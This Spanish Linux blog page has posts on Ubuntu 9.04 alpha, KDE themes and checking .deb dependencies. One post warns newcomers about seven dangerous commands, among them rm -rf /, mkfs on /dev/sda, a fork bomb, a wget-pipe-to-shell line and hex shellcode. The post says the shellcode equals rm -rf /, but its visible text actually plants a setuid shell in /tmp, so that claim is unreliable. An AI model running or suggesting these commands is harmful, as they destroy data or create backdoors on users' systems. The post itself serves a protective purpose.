Ya se encuentra disponible para descarga la primera alpha de la futura version de Ubuntu. Ni que decir tiene que esta version esta destinada para testing o para gente impaciente que desea ir probando las nuevas funciones, no es adecuada para un entorno en produccion. Asi que si tu version actual de ubuntu funciona no es necesario que la instales y creo que es mejor esperar a que vayan saliendo nuevas versiones o si acaso quieres testearla es mas aconsejable montarla en una maquina virtual.
Disponible Ubuntu 9.04 (Jaunty Jackalope) Alpha 1
Publicado Noviembre 22, 2008 Linux , Ubuntu 0 ComentariosDescarga | Gnome-Look
Naked y Slim Glow Plasma themes
Publicado Noviembre 22, 2008 KDE , Linux , Themes , Ubuntu 2 Comentarios2 temas para Plasma (KDE 4) que me gustan: Son Naked y Slim Glow. Particulamente ahora uso Naked, le da al panel un efecto de transparencia que me recuerda a este mockup para Gnome 3 (visto en OcioLinux).
Por cierto, por recomendacion de un lector, y ya que muchas veces cuelgo temas de KDE y Gnome (y espero que algun que otro para XFCE u otros gestores), he añadido una nueva etiqueta llamada “Themes” para localizar facilmente todos estos posts.
Bonita coleccion de banners para colgar en nuestra web o imprimir y pegar en nuestros equipos.
Descarga | Tatica.org y Marvin & Familia
Descarga | Gnome-Look
Ver las dependencias de un paquete .deb
Publicado Noviembre 21, 2008 Linux , Tips , Ubuntu 7 ComentariosCuando empece en Ubuntu, yo no tenia Internet en casa, Asi que cuando queria instalarme una aplicacion en mi equipo, me lo tenia que instalar en otro equipo previamente, uno que si tuviera acceso a internet y despues con una llave USB me llevaba los paquetes descargados a mi Pc para instalarlos.
Todos los paquetes descargados en un equipo se van guardando en el directorio /var/cache/apt/archives. Asi que si por ejemplo en ese PC instalas un reproductor de videos como puede ser “vlc”:
$ sudo aptitude install vlc
Todos los paquetes de VLC y sus dependencias se dejan en ese directorio /var/cache/apt/archives, asi que podrias llevartelos en una llave USB a un PC que no tenga internet. Copiarlos todos juntos a un directorio y luego ir haciendo click uno a uno en cada .deb para ir instalandolo de manera individual o acaso ejecutar el comando:
$ sudo dpkg -i *.deb
Para instalar todos los paquetes .deb del directorio de golpe.
Sin embargo este metodo es mucho de “ensayo y error”, porque llegas a tu casa tan contento, y cuando instalas un paquete .deb te sale un error diciendo que no puede instalarse porque le falta una dependencia no satisfecha (otro paquete .deb), asi que tienes que ir anotando los que te faltan y otra vez ir al Pc con acceso a internet, descargartelo o cogerlo de /apt/cache/archives y otra vez vuelta a empezar, hasta que por fin, consigues satisfacer todas las dependencias y tu aplicacion se instala.
Luego con el tiempo descubri AptonCD, con esta aplicacion puedes crearte un repositorio local de todos los paquetes descargados en un equipo, grabarlo a CD por ejemplo y llevarte ese CD a otra maquina sin internet para poder instalar comodamente todos los archivos. AptonCD me hubiera ahorrado muchos de esos viajes con la llave USB.
De todas formas existe tambien una forma de ver las dependencias que tiene un paquete .deb sin necesidad de instalarlo. Esto nos vendra muy bien para bajarnos ese paquete .deb, y todas sus dependencias, de golpe, facilitandonos estas instalaciones “tan traumaticas” si no tenemos internet.
El comando en cuestion es: dpkg-deb -I nombre_paquete_deb
Por ejemplo, si quisieramos saber que dependencias tiene “python-glade2_2.13.0-0ubuntu8_i386.deb” ejecutariamos:
root@soledad:~/Escritorio$dpkg-deb -I python-glade2_2.13.0-0ubuntu8_i386.deb
paquete debian nuevo, versión 2.0.
tamaño 46858 bytes: archivo de control= 1120 bytes.
1154 bytes, 20 líneas control
433 bytes, 5 líneas md5sums
183 bytes, 7 líneas * postinst #!/bin/sh
186 bytes, 7 líneas * prerm #!/bin/sh
Package: python-glade2
Source: pygtk
Version: 2.13.0-0ubuntu8
Architecture: i386
Maintainer: Ubuntu Desktop Team
Installed-Size: 156
Depends: python (<< 2.6), python (>= 2.4), python-support (>= 0.7.1), libatk1.0-0 (>= 1.20.0), libc6 (>= 2.2), libcairo2 (>= 1.2.4), libfontconfig1 (>= 2.4.0), libfreetype6 (>= 2.3.5), libglade2-0 (>= 1:2.6.1), libglib2.0-0 (>= 2.16.0), libgtk2.0-0 (>= 2.14.1), libpango1.0-0 (>= 1.21.6), libxml2 (>= 2.6.27), zlib1g (>= 1:1.1.4), python-gtk2 (= 2.13.0-0ubuntu8)
Suggests: python-gtk2-doc
Conflicts: python-gdk-imlib, python-glade, python-gnome, python-gtk, python2.3-glade2, python2.4-glade2
Provides: python2.4-glade2, python2.5-glade2
Section: python
Priority: optional
Description: GTK+ bindings: Glade support
Contains bindings for the glade library from use within Python. Glade
makes it very easy to create a user interface. In the target
application you just need to load the interface description from
the .glade file instead of constructing the GUI at runtime.
.
URL: http://www.daa.com.au/~james/software/pygtk/
Original-Maintainer: Sebastien Bacher
He subrayado en negrita la parte del comando donde nos indica que paquetes tenemos que tener instalados para que este paquete se instale correctamente. Si los tenemos ya instalados en nuestra maquina, .. perfecto…, en otro caso tenemos que descargarlos previamente.
Si quieres descargar un paquete .deb sin necesidad de instalarlo, puedes ejecutar el comando: aptitude download
Ejemplo:
root@soledad:~/Escritorio$aptitude download vlc
Leyendo lista de paquetes… Hecho
Creando árbol de dependencias
Leyendo la información de estado… Hecho
Leyendo la información de estado extendido
Inicializando el estado de los paquetes… Hecho
Des:1 http://es.archive.ubuntu.com intrepid/multiverse vlc 0.9.4-1ubuntu3 [1668kB]
Descargados 1668kB en 30s (55,4kB/s).
Asi que combinando estos dos comandos, ya podemos ir descargandonos una aplicacion y todas sus dependencias asociadas para luego poder llevarnosla a otra maquina.
Por ultimo comentar, que las dependencias de un paquete .deb tambien pueden verse desde Synaptic (el gestor grafico de paquetes de Ubuntu en Gnome). Abririamos Synaptic, meteriamos en la cadena de busqueda el paquete que queremos localizar (p.ej “vlc”) y cuando aparezca en el listado, lo seleccionamos, pulsamos click derecho > Propiedades y en una de las pestañas de la nueva ventana que se abre, ya podemos ver las dependencias asociadas.
Importante recordarte que un paquete .deb solo se instalara si es correcto y tiene satisfechas todas sus dependencias (es decir, estan instaladas previamente en tu maquina). En otro caso, el gestor de paquetes te mostara un error del tipo “Dependencia no satisfecha” y te mostrara el nombre de la dependecia que te falta por instalar. Esto a veces se hace largo pues por ejemplo una aplicacion depende de dos, y una de estas dos a su vez depende de otras, ect… pero tranquilo que llega un momento donde ya se terminan las dependencias y el programa se instala.
7 Comandos maliciosos para Linux (Nunca pero nunca los ejecutes)
Publicado Noviembre 21, 2008 Linux , Ubuntu , Ubuntu_para_torpes 15 ComentariosLinux tampoco esta libre de usuarios malintencionados y si eres nuevo en este entorno no esta de mas que conozcas estas cosas. Existen comandos que no es recomendable ejecutar en nuestro sistema o evitar ejecutar si estan contenidos dentro de shell scripts. Yo siempre digo que no hagais Copy & Paste al tuntun de comandos, o si os bajais algun script de un sitio que no conozcais, lo editeis al menos antes y echeis un vistazo a su contenido para evitar luego males mayores.
Algunos de estos comandos “peligrosos” son:
1. rm -rf /
Este comando borra recursivamente todos los ficheros almacenados en el directorio root. Vendria a ser el equivalente (mas o menos) a un FORMAT C: en Windows.
2.
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Esta es el mismo comando que el anterior, pero escrito en su forma hexadecimal.
3. mkfs.ext3 /dev/sda
Formatea el sistema de archivos que se encuentra en /dev/sda (que generalmente es nuestro disco duro).
4. :(){:|:&};:
Conocido tambien como forkbomb, Este comando comenzara a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.
5. cualquier_comando > /dev/sda
Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.
6. wget http://alguna_url -O- | sh
Este comando descargara un fichero ejecutable o script y lo ejecutara. Si el sitio no es confiable podria ser contenido malicioso.
7. mv /home/tu_usuario/* /dev/null
Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).
Fuentes | Malogey y Deadly Linux Commands
(requiere registro). Nuevas tarjetas disponibles en RefCardZ. Especialmente util la tarjeta de referencia de MySQL.
Descarga | RefCardZ
A partir de ahora no habra edicion en papel de PC Magazine, solo estara disponible en formato online. Aun asi, los “fans” de esta revista podemos tener un año de suscripcion gratuita si indicamos nuestra direccion de correo en GoReadGreen.com.
Visto en | LifeHacker
Disponible una nueva version de este IDE de desarrollo y trae un “porron” de novedades. Su instalacion es muy sencilla, pero si acaso teneis problema podeis consultar el siguiente enlace.
Enlace | Instalando netbeans 6.5 en ubuntu












Comentarios recientes